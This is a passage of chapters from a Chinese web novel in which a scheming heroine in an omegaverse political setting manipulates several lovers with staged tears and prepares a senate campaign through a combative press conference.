想到对方那一张哭包脸,我顿感头疼,但还是硬着头皮道谢,“谢谢您。” 车辆终于行驶回了山顶别墅。 卡诺卡全程保持安静乖巧的姿态,像是一只被吓傻了的蠢猫,只有眼睛敢动。 约西尔早早在门口等待了,发现下车后裹着纱布的卡诺卡后立刻扬起专业的朋友担心假笑。等看见伤势更严重的我,笑容才有所变化。 “诺卡,我好担心你,还好你回来了。”约西尔上前想要挽住卡诺卡的手。 卡诺卡躲开了。 约西尔的笑容僵硬在脸上。 卡特勒意味深长地扫了一眼约西尔,对卡诺卡说:“诺卡,你先和朋友玩去吧,我和无用还有其他事情要商量。” “……知道了,妈妈。”卡诺卡小声回应,一步三回头黏糊糊盯我,之后才不甘心地和约西尔离开。 “年轻人就是有精力。”卡特勒说道。 哦,她又知道啦。 我满不在乎想道。想也理所当然,我和约西尔在人家客房里搞的,对掌控欲强的卡特勒来说不知道才奇怪。 跟随卡特勒前往书房的路上,我的脑海里将今晚所有人扮演的角色复盘一遍。 奥维拉是劫持卡诺卡的叛乱党,莱文是企图逃跑却被柯里亚纶抓住的叛乱党,杜塔利雅是无法忍受上行城和白灯湾草菅人命的“正义”叛乱党,我是被邪恶上行城蒙骗不得不诬陷杜塔利雅又救下被劫持的卡诺卡击杀叛乱党的底层人。 我是存在污点的人,但没关系,克亚区的人会原谅我,因为我是“唯一”会为贫民窟十几万人寻求公道的人。杜塔利雅自己都承认自己是叛乱党了,我顶多是提前拆穿了她的身份,又不是故意的。 而且仅此一夜,大家也都知道了叛乱党原来分两个派别,分别是军事区打仗的残暴组织,以及真正为底层人发生的“重构”组织。 哈哈哈,看啊,今夜带给克亚区的消息真是越挖越有啊。 看看上行城和白灯湾的人,到底给克亚区的人编织了怎么样的信息茧房呢? 进入书房,我在办公桌前站定。 其实我总觉得今晚还有一件事没完成,而且十万火急。 好像不完成我人就要死掉一样,但就是想不起来。 不行,今天的事情太多,忙不过来了。 “明天我会给你安排好公关。”卡特勒坐在办公桌前,开门见山对我说,“在15号的参议院竞选日子,只要你的票数能过去,我就能给你安排一个靠前的位置。” 参议院的位置代表的是权重。 “等你进入参议院,就可以公开订婚消息。” 我点点头,用开玩笑的口吻说:“看来比起柯里亚纶霍里,我更得卡诺卡的喜爱。” 卡特勒没绷住脸上的假笑,“用生命威胁一个天真无知的孩子对你产生依赖,无用,你确实让人刮目相看。” 哇哦,这你也猜到了? 可我又能怎么办呢?让一个傲慢的蠢货快速喜欢上我,除了吊桥效应外我想不到其他办法了呢。 我内心又开始得意。 听听,吊桥效应,多好听的专业名词,为我自己难得用到书籍知识感到满意。 从书房出来回往客房的途中,我还是没想起来我到底忘了什么事情。 眼看时间滴滴答答转到了九点,我只觉得脑壳疼。 通讯器也没有了,得重新买一个。 还有欠了阿丽一万一百块,我又不想还了。 好烦,到底忘了什么? 在客房洗浴间洗漱的时候,我浑身一震,猛然想起来了! 我靠啊!克斯蒂还等着我给他解释呢! 完蛋了!他绝对在新闻上看见我和卡诺卡的脸了!额啊啊啊这要我怎么解释啊!—— 作者有话说:很忙呢,小白,短短一天的时间就写了足足五六章。 话说女主的情弟弟到现在叫什么名字我都还没想好,一直叫他克亚区那男的,哈哈哈 第62章 我把换下去的衣服又套了回去,胡乱抓一把头发就准备离开。 现在是晚上九点多,距离约定的时间已经过去了一个多小时。幸运点克斯蒂还没走,正在酒店里耐心地等我过去解释。如果不幸运,那明天一早上我就能在新闻上看见我杀了六个人栽赃诬陷杜塔利雅的独家新闻报道。 可恶,动作再给我快一点! 打开房门,我就和卡诺卡撞上了。 omega男孩已经换了一身打扮,又恢复了精致高高在上的天龙人小模样,对我还是眼睛不是眼睛鼻子不是鼻子。 我扬起笑容,“诺卡,你有什么事么?” 卡诺卡的眼珠子游移了一瞬,之后用施舍一样的语气对我说:“妈妈和我说了,我同意和你订婚了。” 我:说得好像你有选择权似的。 “这样啊。”我笑眯眯地越过他,又看见站在走廊转角的约西尔,顿感头皮发麻脊椎发冷。 好烦啊!你们怎么全都挤在一个时间段来啊,就不能自己默契地分开时间段吗? 就算我是时间管理大师也做不到同时应付你们两人,何况后面还有个克斯蒂! “我后续还有点东西没有处理,诺卡我先走了。” 没有正面回答他订婚的话题,毕竟我就是一个不善言辞不会表达的老实女人。 我正想离开,卡诺卡又拽住我的手,“你就不能表示一下吗?” 表示什么?你让我表示什么? 我怀疑我幻听了,看着他被我打一巴掌到现在都没有好的侧脸,特别想骂脏话。 你总不能让我对着你的另外半张脸甩巴掌吧? 约西尔刺在我背后的视线越来越阴森,我撑起笑容,按住卡诺卡的肩膀充满愧疚说:“抱歉,诺卡,之前事态紧急,所以我才会打你的。” 说出这句话我还特意提高音量让约西尔听见。 “当时你情绪很激动,而且拽我的力气很大,那些叛乱党是个疯子,为了尽快逃离我不得不对你使用暴力。如果你生气了。” 我又把音量降到最低,“我以后再任由你踢我出气,可以吗?” 我感觉背后刺拉拉的视线缓和了。 你们可真是一对塑料小兄弟。 我心情复杂吐槽。 挡住约西尔的视线,我温柔地摸了摸卡诺卡有些红肿的侧脸,眼神温柔但嘴巴老实,“我去处理自己的事情了,希望你和约西尔玩得愉快。” 卡诺卡站在原地傻愣愣看我,等我转身走了也没什么反应。 看了那么多爱情小说,这不得被我迷死。 我刚刚过转角,约西尔就迫不及待扑上来踮起脚向我索吻。 “你真的要和他订婚?你怎么好意思?你把我当什么了?” 这才刚拐角呢你就迫不及待! 你是真不怕死啊! 我把人扯下来,带这些恼怒小声制止他,“约西尔!” 约西尔双唇紧抿,眼眶有些红,“你很得意吗?能和卡诺卡订婚,以后你的前途光明着呢,完全不把我放在眼里?” 我要被气笑了。 昨天晚上穿上裤子就撇清关系的可不是我……好吧我很乐意。但我没这么做也没来得及,那我就可以占据道德高地指指点点! “可昨天着急撇清关系的难道不是你吗?”我反问他,成功看见他破防扭曲的脸。 “我难道有主动引诱卡诺卡吗?”我问他。 虽然我确实这么做了但你没看见,那就说明我没有! 约西尔不言。 “凭我的底层身份,卡诺卡和团长想要对付我只需要一句话,我就得乖乖入狱!如果不是邦林顿霍里将我拽进来,我现在都只是个法院实习生。”我一字一句咀嚼愤怒的情绪面对约西尔,突然有从嘴角溢出自嘲,“呵,说不定现在我也跟着斯科特家族一起被排查,明天就被送上处刑台。” 假的啦嘻嘻。我还有很多条退路可以选,就算真到那个危险时刻我也能让阿丽带我跑路,才不会被你们这些可恶的天龙人坑死嘞! 嗯?现在我好像也快成为天龙人了。 不对,我才不是天龙人!我要和这个狗屎世界势不两立! 我听到后面传来脚步声,是卡诺卡过来了! 可现在不把约西尔安抚好,以约西尔睚眦必报的扭曲性格肯定会提前暴雷! 于是我捧住约西尔的脸,与他鼻尖碰笔尖,以极小的音量对他说:“被邦林顿霍里扯进去的时候我都快放弃希望了,可后面我还是绞尽脑汁让自己活下来。” “你以为我为什么这么做?为什么没有好好地接受自己的命运?你真的不知道,还是故意不知道?” 我用拇指摩挲他的唇角,让自己看起来痛苦无奈又咬牙切齿,“是你先提前撇清关系,我不过是如你所愿!” 说完,我把约西尔往前一推,大跨步离开。 身后是两人的交谈。 “约西尔,你来这里干什么?” “……没什么,诺卡。我只是奇怪你和那个底层人的关系。” 两条腿快走快走! 不要再突然窜出来某个情人逼迫我发誓了!我真的要死了啊! 走出别墅,我的脑子又开始宕机了。 我,没有通讯器! 呵呵,现在问问克斯蒂什么情况都做不到。 先不管了,去酒店! 酒店距离别墅的距离十分远,我没有通讯器,钱包也在今天藏在了一个小角落,可以说身无分文。 因为担心被人认出脸以后爆出花边新闻,我全程小心翼翼专挑人流量稀少的街道。 不过酒店主打的是远离人群靠近自然主题,除了远一点外人流量确实少。 为了让自己更凄惨一点,我依靠步行的方式,全程没有使用任何的交通工具。 问我为什么没苦硬吃?当然是为了使用苦肉计。 希望我的花言巧语和狼狈形象派上用场,让克斯蒂忽略我的不对经转而心疼我的不容易。 嗯,如果他还在酒店的话。 千辛万苦终于来到酒店,但过分狼狈的模样被门口的侍从赶到了另一边。 没事,我就蹲在这里,蹲一晚上也行。 反正我有借口了,只要克斯蒂问起来,我就说是可怜兮兮被势利眼侍从挡在门外进不去。 “你就这么蹲在门口?” 我抬头,和缇温面面相觑。 他的表情有些奇怪,“你爬过来的?” 我:“你知道的,我像今天很忙,刚刚死里逃生。” “哦,也是。”缇温将我从地上拉起来,“你就那么喜欢他。你知道克斯蒂有未婚夫吧,结婚的日子也没多少天了。” 我双眼一亮! 好耶!现成的借口! “还有多少时间?对方是什么样的人?他们关系进展到第几步了?”我苍蝇搓手,“缇温,这对我很重要。” 缇温眉头一皱,又是一副破防却强撑面子的别扭表情,“你果然在乎他。你不是和霍里家的柯里亚纶有关系么?又沾惹上克斯蒂,太贪心了。” 我当即否认,“没有,柯里亚纶那是迫不得已的。” “什么迫不得已?” “他威胁我,如果我不那么干,他就要杀我。”我立刻做出难过委屈又不得不屈从地可怜模样,泫而欲泣欲言又止,“今天新闻你看了吧?我好不容易死里逃生。要不是我努力挣扎,指不定已经被叛乱党打死了。” “真的?”缇温不信邪又问一遍,“当初你就是这样哄骗我的。” 放屁!明明是你自己易感期抓着我要被我透,怎么又反过来怪到我头上? 而且我事前可是问了足足三遍,三遍你都同意了! 我没说话,就是用眼神控诉他,做足了委曲求全的姿态。 “行吧,既然你是迫不得已,那就算了。”缇温自己也有些心虚,于是快速翻过这个话题,“所以你又是怎么招惹克斯蒂的?” “你要求我一个可怜兮兮的贫民窟人不吃不喝等你五年吗?”我避重就轻,“很多事情就是自然而然发生了,你不也一样吗?” 眼见缇温又得开口哔哔叭叭说一大堆废话,我打断施法,“所以能带我上去吗?克斯蒂还在上面吗?” “我通讯器坏了,又发生太多事情,还得应付团长,现在才有时间来找他。”我说着就开始搅动自己的衣袖,脚尖小小踢踹草坪,眉目流出的神情委屈又焦急,“可我身无分文,形象也不好,没法进去。” “你在这等很久了?”他问我,终于舍得拿出通讯器联系人。 我扯开一个牵强的老实人专属微笑,快速扫一眼那边的侍从,低声说:“也没多久,我其实刚来的。” 缇温哼一声,“克斯蒂还在上面,我带你上去。” 我跟随缇温进入酒店,也看见侍从瞠目结舌的表情。 到了楼层,我还没走近,到老远就听见克斯蒂正在和人争吵的声音。 这事我熟悉,已经能猜到对方吵架的话题以及痛骂对方的词语。 我用口型模仿克斯蒂。 “你以为你是什么东西!你也不过是个依靠家族荫蔽的懦夫,废物!” 然后是未婚夫怒骂的话:“克斯蒂!我再怎么说也是你未来的丈夫!” “丈夫?现在这种情况是你们家族有求于我们!我们随时可以换了你,让一个更合适的人过来联姻!” “你又以为你多有选择权?但凡你和你的哥哥和姐姐一样是个alpha,就不会在我面前耀武扬威,而是替你的哥哥进入参议院!” 我一个机灵,深吸一口气身子往前倾斜,准备再听一点家族八卦和有用信息。 可缇温根本不会看人脸色,伸出腿踹了踹门框发出声响,“吵够了吗?” 争吵中的两人停下来,一致将目光转过来。 我站在缇温身后,对两人露出拘谨又无法的表情。当触及到克斯蒂震惊的视线后,又飞快把脑袋低下去。 “这个乞丐是哪来的?”克斯蒂的未婚夫厌恶地皱眉,“缇温简,不要把军事区的坏习惯带回来。” “还轮不到一个逃兵指示我。”缇温毫不客气反嘴,“你们的婚约明天再商量,我和克斯蒂还有事情要说。” “你!”被戳出痛处的未婚夫面色阴沉,却只能冷哼一声跨步离开房间。 路过我时,他用挑剔的目光上下打量我,然后定格在我的脸上,“呵。” 我依旧保持老实人的唯唯诺诺表情,没敢和他对视。 等人走了,缇温才将我推进房间,“有什么事直接说吧。” 克斯蒂没什么表情,手指缠着头发,“现在都那么晚了,没必要商量。” “我可不负责。”缇温举着手耸肩,“她一个人蹲在门口没人搭理,知道她找你我才带她上来。你要是不乐意,我再把人带走。” 说完,他把门一关就走了。 房间内又只剩下我和克斯蒂两人。 克斯蒂面无表情,找到沙发坐下后一言不发。 你不说话,那我也不说话。 等克斯蒂受不了这种诡异安静的氛围准备开口后,我先发制人:“克斯蒂……你真的要结婚了吗?” 第63章 克斯蒂被我先发制人,有片刻的怔愣后,又勾起冷笑,“你在质问我?” 那不然呢? 我很想两手一摊来一句你爱怎么样怎么样吧,但我不敢。 虽然因为我的存在,简家族没法和霍里家继续利益交换,但在这种混乱的情况下她们根本不缺能够合作的同盟。 也就是说,缇温进入参议院是迟早的。为了这一层关系,我也不能和克斯蒂撇清关系。 那现在问题来了,我又该怎么在被捉奸证据确凿的情况下把自己包装成无辜的受害者呢? 难道要直接一甩手说“都是他勾引我的,我是无辜的”? 当然不可以啊!情场高手小白经过这段时间的生死锤炼已经进化成宗师白师傅了,像这种不负责任直接把锅甩在情人头上的行为是很low的。毕竟我很有自知之明,如果我不想动手谁都没法挥舞我的小镐子。 那我到底要怎么在承担主要责任的同时又让克斯蒂心疼我呢? 那当然是避重就轻啊。 是,我是主动和人炒饭了,也确实被美色迷惑得不知天南地北。 但这都是有原因的呀! 现在请看我的表演。 我的唇角微微抖动,眼眸内各种情绪杂糅在一起,复杂又痛苦,然后让一滴眼泪悬挂在眼角,做到所谓“支离破碎”和“清冷月光被迫染尘”两种氛围的共同演绎。 别管我怎么做到的,问就是生死局能让人成长。 “克斯蒂,我,我不想质问你的,我只是控制不住情绪。” “呵,那你刚才是什么意思?报复我吗?最开始犯错的难道不是你吗?”克斯蒂的愤怒更上一层,快步走过来拽住我的衣领,“你今天很忙碌啊,刚刚从酒店和霍里家的人搅合在一起,晚上就和团长养子搅合在一起,现在你终于想起我了?” “你有什么资格质问我和未婚夫?你一开始不就知道我有即将成婚的未婚夫了吗?” 哇哦哇哦!你这就开始口不择言了吗? 你都这样了那我肯定要做出一副痛苦崩溃的样子啊。 “克斯蒂!”我不敢置信瞪大眼睛,面色苍白看着他,“你,你在……” 克斯蒂也意识到自己气急下说出了什么。 但这种情况下服软就是下位者,于是他更是眼神冰冷,“没有明白么?你知道我有未婚夫,却还是和我保持关系。你本质是什么人,还需要我说出口吗?” “克斯蒂,别,我请求你,别说出来,我唯独不希望从你的嘴里听到这些话……”我语气哽咽,眼眶通红。 这幅可怜的样子进一步推动了克斯蒂的理智,让他开始了口不择言。 “你就是看见我走不动路的……”克斯蒂紧盯眼前人的眼眸,说出最后两个字时没有声音,却做了个清晰的口型。 我浑身一震,面色苍白如纸,一动不动。 死一般的寂静弥漫在房间内,缠着站在中心的两人。 克斯蒂看着女人的脸色,心脏处是汹涌而来的兴奋和愉悦。 仅仅是一句话就能让她的情绪剧烈起伏,那说明是爱啊。 可随之而来的是更加汹涌的愤怒。 于是克斯蒂松开手,将女人推开,“滚出去。” 女人一动不动,依旧神情呆滞。 “滚出去!”克斯蒂重复一遍。 终于,女人开口了。 她的声音沙哑,像是喉咙被什么东西掐住了,紧紧吐出语句就嘶哑疼痛。 “霍里家的柯里亚纶,因为昨天晚上的事情恨我,于是今天中午不顾我的想法强行把我拽去了酒店。” “他让我让出即将进入参议院的位置,然后交给你们简家族。” “他们还打算在今晚对斯科特家族动手。” 克斯蒂猛地停顿,死死盯着女人不断说话的嘴。 “我当时的脑子很乱,他又突然进入易感期。我满脑子都是你,清醒过来的时候已经什么都做了。” “离开房间后我又和微莎先生撞上,他对我的态度很奇怪,我很怕他。不,我害怕每一个霍里家族的成员,他们每个人都想我死。” “然后,然后……”女人陷入极大的痛苦,似乎被什么东西反复拉扯,却因为过分疼痛而做不出任何表情,只能白着一张脸机械麻木地把今天的事情说出来。 “然后我杀死了奥维拉……我不想死,克斯蒂。我不想死,可我好像真的该死。我以为我可以救下他们两人,可我发现我救不了,我甚至亲手杀死了其中一个。” 女人说完这些,又忽然扬起没有任何情绪的笑容。 “我不该质问你,我没有资格。你说的没错,克斯蒂。我想活下去,不择手段地活下去。无论你怎么骂我都好,指责我,你都没有错,是我的问题而已。” 她的形象很狼狈…… 实际上,来到上行城后的每一次见面她都是狼狈的。好像全世界的人就她最苦,最难受,可偏偏没人觉得她可怜,反而觉得她活该。 稀里糊涂地被卷进权利斗争,又稀里糊涂地杀掉曾进的情人和好友,最后更是稀里糊涂地被爱人骂了一通。 就这样稀里糊涂地,连为自己辩驳的话都不知道怎么说,只是陈述事实,还要愧疚自己情绪崩溃时不小心脱口而出的质问。 克斯蒂的嘴开开合合,眼看着女人说完后就抽离所有情绪般地失去表情,然后转身离开。 “白无用!”克斯蒂的情绪哽上喉咙。 她依旧在往前走。 克斯蒂急切地揽住她的去路,目光灼灼看着她,“白无用,你先告诉我,团长为什么要让你进入参议院!” 女人垂着眼帘,面色依旧苍白,“她让我和他的养子订婚。我和斯科特家族有点关系,团长为了收拢陪审团的权利于是对副团长下手。霍里家族是团长原本的合作对象,打算利用了我就把我牺牲掉。” “可我想活下去,所以我在昨天晚上才会和团长一起围堵准备逃跑的副团长。” “她想扶持一个完全被她掌握的人,于是我成了她的目标。” 克斯蒂的心脏一阵一阵狂跳,愤怒的情绪不断冲击他的大脑,“你为什么不告诉我!白无用,你到底把我当什么?” “……”她又开始了颤抖,“我害怕再也看不见你了,克斯蒂。我宁愿一直活着看你嫁人,也不想死了什么也看不到。我很自私,我不想死,我会下地狱,你会去天堂,到时候灵魂都没法相见了。” 克斯蒂突然笑了。 他笑得畅快又愉悦,可没一会又变换了怜惜的表情,“真可怜,无用。” “你可怜又可爱,为了和我在一起,你什么事情都做得出来。你一点都不迷糊,你比所有人都聪明。” 女人则是被他唤醒了情绪一样,再也维持不住地将脸埋在他的脖颈处,小声呜咽,“克斯蒂,我对不起奥维拉,我对不起莱文,我对不起你。我不该这样做的,可我真的很自私,对不起,真的很对不起……” “我想活下去,我想继续看着你,现在我甚至不想你嫁人。我希望你等我,等我真正进入参议院,等我能够摆脱团长……” 哭泣和示弱,以及适当地交出把柄。 虽然把这种行为说成爱很恶心,但不可否认很有用。 克斯蒂在呼吸的间隙捏起的一缕发尾。 但很快他的手又被另一只被液体打湿的手握住,进而推进到更高处的快乐。 “等会,我替你修剪头发。”克斯蒂说道。 女人没有回答,可湿漉漉的眼眸又替她回答了。 总是如此,克斯蒂想道。 整个上行城,她最可怜了。无依无靠又稀里糊涂,连亲吻和性都带着祈求和依赖的意味,像是要把全部情绪都宣泄进他的骨头里一样。 除了自己,谁又能包容她,为她清除一大堆麻烦呢?要是没有自己,她一定会去死的。 “嘶——”克斯蒂抬起头,无奈地将扯住他头发的手移开,“力气小些,无用。” 女人微微垂眸,微白的脸上露出了委屈可怜的表情。 翻涌的情潮后,克斯蒂趁着女人去洗漱时找到了剪刀。 作为omega,克斯蒂从学院内学到了太多照顾人的技能。 烹饪,包扎,形象打理。为了能成为alpha背后的贤内助,简直成为了无底洞的容器,不断地包容和托举倾倒的人。 杂乱的发丝掉落,自由生长的尾巴也被修剪出青年狼的形状。 我看着镜子中女人的脸,以及背后那张专心致志的脸,大脑又开始放空。 现在几点了?卡特勒那边怎么样?组织那边怎么样?阿丽会偷偷找到我藏钱包的地方掏走一万零一百块钱吗? 这些问题很快又被更加复杂的问题取代。 霍里和简的合作中断,简为了进入参议院又会和谁合作? 杜塔利雅公开叛乱党身份后,她曾进在陪审团的势力卡特勒又该怎么接手?缇温进入参议院后能不能为我所用?到了明天,记者们会询问我什么问题? 我又该怎么拉票?怎么合理处置辛罗娅?克亚区的人会支持我吗? 最重要的一点:我应该怎么利用参议员的身份为自己牟利。 我能直接杀掉柯里亚纶,让组织的人取代吗? 不,太直接了,会被卡特勒怀疑的。 我得想其他办法,让柯里亚纶自己退出去,最好让他推举我的人上去。 谁适合上去? 最后一缕头发落到了地上,我回过神,再次看清楚镜子中的自己。 黑色的头发不再杂乱,顺滑有条理地垂落下来。 一缕黑发被橡皮绳简单扎着,像是一条野心勃勃的狼尾,正舒展逐渐成长的躯体。 我又想到昂撒曾经骂我的话。 白眼狼……哈哈,可不是么? 白无垠就是个白眼狼,套了一层“白无用”的皮后接受托举者的供养,回过头就对托举者痛下杀手。 不是白眼狼又能是什么呢? 冷心冷肺,唾骂所有人,然后不择手段地继续往上爬,活该被痛骂。 “白女士,据说您在贫民窟时和奥维拉斯科特以及莱文斯科特是至交好友,在他们的帮助下更是来到上行城进入法院工作。可昨天你毫不犹豫扣动扳机杀死奥维拉,您不觉得您这样是恩将仇报的行为吗?” “白女士,昨天排查斯科特庄园找到的盒子上发现了你的指纹,您有什么要说明的地方吗?” “有消息透漏,您和团长养子卡诺卡存在亲密行为,请问你们是什么关系?” “杜塔利雅公开声明炸毁贫民窟十几万人的命令是上行城高层下达的,而您又是最开始揭露案件的人,我们是不是能合理怀疑您在其中扮演了重要角色?” “白女士——” 我站在聚光灯下,站在高台之上。 人们的目光聚焦在我的身上,闪光灯的声音响个不停。 在喧闹的现场,我微微抬手,下面的人不再说话。 这就是站在高处的感觉吗? 真有意思,我很喜欢。 “各位,我站在这里,就是为了回答你们的问题。”我调整麦克风,对底下的人说。 一位记者举起手,“白女士,您能为您恩将仇报的行为说明一下吗?” 我朝他微微颔首,“我很愧疚,但如果让我再来一次,我依旧会这么做。” 众人陷入一片喧哗。 而我不为所动,依旧站在高台上俯视这位提问的记者,面目严肃眼神坚毅,“我相信在座的所有忠诚于政府和白灯湾的人,都会做出和我一样的选择。” “不可否认,我确实杀死了奥维拉。他是很好的人,在贫民窟时他是一位正直地替公民打抱不平的警督,到了上行城,他也不忘关怀我。可在真正的原则面前,我做不到包庇他。” “有小道消息称,您是他们婚姻关系闹僵的第三者,请问您怎么回应?”一位花边记者站出来。 这个问题过分下流,却足够吸引人眼球。 我却面无表情,上下打量他后说:“有小道消息称你是依靠不正当关系才能进入会场采访我,请问你怎么回应?” 花边记者的脸一阵青一阵白。 我则是收回视线,“他们是叛乱党,但这不代表你可以肆意侮辱他们的人格和尊严。他们已经受到了法律的惩罚,而无关者的你没资格高高在上审判他们,这不仅无法彰显你的公平正义,反而让你的下流无耻一览无余。” 无人在意这位花边记者,很快又有人迫不及待地提出问题。 有些问题毫无意义,有些问题敏感尖锐,还有些问题角度刁钻。 平民窟,杜塔利雅,十几万人的生命,卡诺卡,团长…… 我在回答的间隙,竟然还有空闲时间悄悄恍惚。 原来我来到贫民窟的时间两个月都不到吗?那为什么*会有那么多词语?又为什么会接触那么多人? 我最开始想的是什么? 做一个法院档案室的实习生混吃等死,和莱文玩点无伤大雅的强制爱剧本? 可现在的我呢?要做什么? “白女士,请问您可以对现在的陪审团体系和参议院体系做出一个评价吗?”有人问道。 我深吸一口气,将这位记者的脸清晰地记在脑海中,同时冷冷地吐出几个字:“垃圾。” “只有三十人的陪审团决定了上行城绝大部分的项目,而参议院里的人们尸位素餐只知道提高税收和控制克亚区的舆论。” “他们掌控舆论,在教材上动手,让克亚区的人懵懂地以为接受上行城的垃圾和上交税收是理所当然的。可克亚区的公民们也是人,大家都是人,凭什么要牺牲自己供养他者?” “贫民窟十几万人的生命就这样在白灯湾和上行城的人手中消逝了,那克亚区的公民们呢?” 记者上前一步,提出的问题更加尖锐,“白女士认为军事区无法抵抗叛乱党,将来一定会抛弃克亚区的公民吗?” 我嘴角挂着讥讽,“说不定呢?” 喧哗,吵闹,怒骂,以及闪光灯。 我看见卡特勒无法维持的僵硬笑容。 有什么好生气的,这不正是你想要的吗? 做一个除了你之外无依无靠的孤狼,得到克亚区公民的选票,然后心甘情愿地托举卡瑟娜。 现在我做得多好,成为整个上行城的靶子,然后任由你操控我。 你不该生气啊。 我不过是把你也拉下水而已,团长大人。毕竟谁都没有规定,你强行绑定我后,我不能也强行绑定你。 第64章 我以为我突然从一个底层人转变成政客会需要好几天的时间来适应,今天的公关也会因为我的不适应而突发状况。 但出乎我自己的预料。 小白我啊,简直是天生的政客! 我甚至已经开始幻想15号的我为了拉拢克亚区的选票而在直播镜头前大放厥词说点什么振奋人心的话。 比如降低税收啦,提高社会福利啦,全民免费医疗啦这些大饼通通喂给克亚区的人吃。 至于我真的选上之后会不会这么做另算。什么?要是我没做出来克亚区的人对我很失望怎么办?那他们又不能真把我怎么样。 别问,问就是“为了选票而在法律允许的范围内进行合理的艺术加工”。 而且参议院内的人又有谁做到对克亚区的公民们言而有信呢?说到底政治投票也不过是在一堆垃圾里面选出一个可循坏垃圾而已。 自觉看透了参议院和克亚区公民们之间的关系,我下台之后连看柯里亚纶的脸都没觉得多晦气了。 “白女士,恭喜。”柯里亚纶在人前还是一副顶级顺直a的死模样。 我也跟着露出一个憨厚老实人的微笑,“未来怎么样还说不定呢,还是得感谢团长大人愿意给我学习的机会。” 我可太想进步了,谁都不能阻止我进步。 正式的评选在15号,参议院的成员过来也就看个热闹。 要是我入选了就当交个好,没入选那就当看个热闹。反倒是卡特勒对我的笑容不似从前那样亲切和蔼(虽然本质上没差别)。 “无用,再给你一段学习的时间,你该成长为柯里亚纶那样了。”卡特勒意味深长对我说道。 我立刻表现得诚惶诚恐,“团长大人,我这是底层出身的人,怎么能和霍里家族的人相提并论呢?” 想不到吧,其实柯里亚纶也被我透了。 只有你想不到,没有我做不到! 我,就是上行城第一矿工! 卡特勒冷哼。 我懂,本来人好好的可以随时反悔。但我昨天晚上的骚操作一上来,这下谁都知道我和她是一伙的了。 以后我但凡出了点什么事她没反应,就得考虑考虑舆论的问题。 当然卡特勒到这个年纪已经不在乎舆论了,但她在乎卡瑟娜。年轻的卡瑟娜需要同盟的支持,而毫无信誉的人向来被大家拒绝在门外。 卡诺卡在我和卡特勒谈话时表现得出乎意料地乖巧。 原来这才是卡特勒教养出来的人。 骄纵,吵闹,愚蠢且不知好歹,但在真正的权威面前不敢放肆,只会乖乖地当一个花瓶。 天,怎么会有如此符合社会刻板印象的omega! 卡特勒和我短暂地谈论后,也知道该将时间留给年轻人,于是再次扬起亲切地笑容招呼卡诺卡过来。 “诺卡,过来吧。” 卡诺卡漂亮的脸蛋上立刻洋溢起灿烂的笑容,快步来到卡特勒的身边,骄傲又带着些别扭,“妈妈。” “我为无用安排了一处新的公寓,她从克亚区过来的弟弟这会也该到了。”卡特勒笑着说道,“你带着无用去吧,多多熟悉。你这个年纪就应该多交朋友。” 卡诺卡嘴角的笑容抑制不住,“当然。” 我目送卡特勒的离去,转而对卡诺卡面露微笑,“谢谢你,诺卡。” “你确实应该好好谢谢我。”卡诺卡趾高气昂指挥司机去开车,“不,你应该对我感恩戴德。你看,我甚至原因和你订婚,以后还会嫁给你。” “如果你那个弟弟能够知趣点,我会对他好点的。是还在上大学的alpha吗?我可以给他介绍工作,或者把约西尔介绍给他认识。” 卡诺卡叽叽喳喳没完没了,我懒得应付,顶多给他回几个表达肯定和感谢的词语。 而仅仅如此,就足够卡诺卡感到愉悦和满意,然后继续说一大堆毫无营养不知道从哪本爱情小说里摘抄出来的至理名言。 可他又没法真的做到爱情小说里主角美好且温顺的性格,于是就选择性地忽略掉一大堆主角的前缀,就只剩下符合的性别。 嗯,我该习惯,以后肯定会天天听…… 放他爸的狗屁!我才不要习惯每天听一大堆垃圾话! 于是抬起手捧住卡诺卡的脸,深情款款说:“诺卡,其实你不需要竭尽全力地寻找话题。只要和你在一起,我就能感受到宁静了。” 叽叽喳喳的蠢人终于闭上了嘴巴,面颊通红地瞪着我,做出要把我手打开的动作,却力气小得可怜,“那就是你的错,应该你来讨好我。” “我不怎么会说话。”我说。 “你好蠢,你就不知道用其他办法吗?”蠢人发表言论。 我:……倒反天罡,蠢人开始骂别人是蠢人了。 新公寓很快就到了,我总不能让卡诺卡炸毛发火等会和人吵架。 让我想想,今早卡诺卡看得那本爱情小说里是什么情节? 什么霸道alpha爱上娇软omega。或者纯情alpha狠狠宠之类的? 好几把恶毒的名字,到底是谁写的玩意? 我小心翼翼地靠近卡诺卡,看着他的面颊越来越红。 omega男孩在不说话的时候确实很漂亮,只是简单注视人,那浅金色的眼睛里就装满了让人心情愉悦的光。 我想哪怕卡诺卡没有卡特勒这样的母亲,也会有alpha愿意花钱包养他。 这人真等着被我强吻呢。 我没如他所愿,握住他的指尖在他的手指上轻轻吻了一下,做足了不善言辞和表达,面对心上人老实木讷还纯情的模样。 卡诺卡直愣愣看着我,又看看被我捏着的手指,突然跟应激的猫一样将我一推,“你好烦啊!脏死了!” “哦。”我委屈巴巴垂下脸,收回手不再看他,假装发脾气。 他也意识到反应过激,但又拉不下面子,于是恼怒地双手环胸坐在另一边发脾气。 太好了,我终于可以享受安静的氛围了。 可惜没享受多久,新公寓就到了。 与其说是公寓,不如说是独栋别墅,还附赠玄关小花园。 黑发黑眼的alpha男性身穿陈旧的衣服,背着一个大大的老旧背包,旁边还有竹席和水桶,脚上穿着拖鞋。 看就知道是大早上还没清醒就被人从被窝里抓出来匆忙收拾行李的愚蠢大学生。 他看见下了车后的我,瞪大了眼睛怒气冲冲就要破口大骂,“白无y……” 很快他又看见了卡诺卡,于是怒骂拐了个弯,“白无用!你到底搞什么玩意,我今天还要打兼职!你知不知一天兼职就有一百块钱!我已经穷到快吃不起饭了!” 我都还没说话呢,卡诺卡就像抓到把柄一样下巴一抬,趾高气昂上下打量他,然后嫌弃地挥手,“你好脏啊,说话也粗鲁。明明是alpha,却还要依靠beta来支付学费和生活费,你不觉得你太没用了吗?” 他被卡诺卡呛得目瞪口呆,指着我的脸,“她?支付我学费和生活费?” “那不然呢?”卡诺卡更高傲了,“我可是听说了,无用在贫民窟的时候就省吃俭用地给你攒学费。” 他被这一番言论震惊到语无伦次,迷茫又无措的样子好像他失去了某段得到我资助生活费和学费的记忆。 要不是我很清楚我真的一分钱都没有给他,我都要不忍心了。 摸摸自己的胸脯,太好了,良心没有长出来。 为了不让事态朝着更危险的方向发展,我充当老好人站在他们之间,“外面风大,我们进去了吧。还有我亲爱的弟弟,你大老远从克亚区过来一定累坏了,不如先去洗漱一下?诺卡你也是,你今早起来梳妆打扮很辛苦,现在妆有些花了,不如去补一下?” 有了我从中打圆场(虽然罪魁祸首就是我),他们总算是安静了。 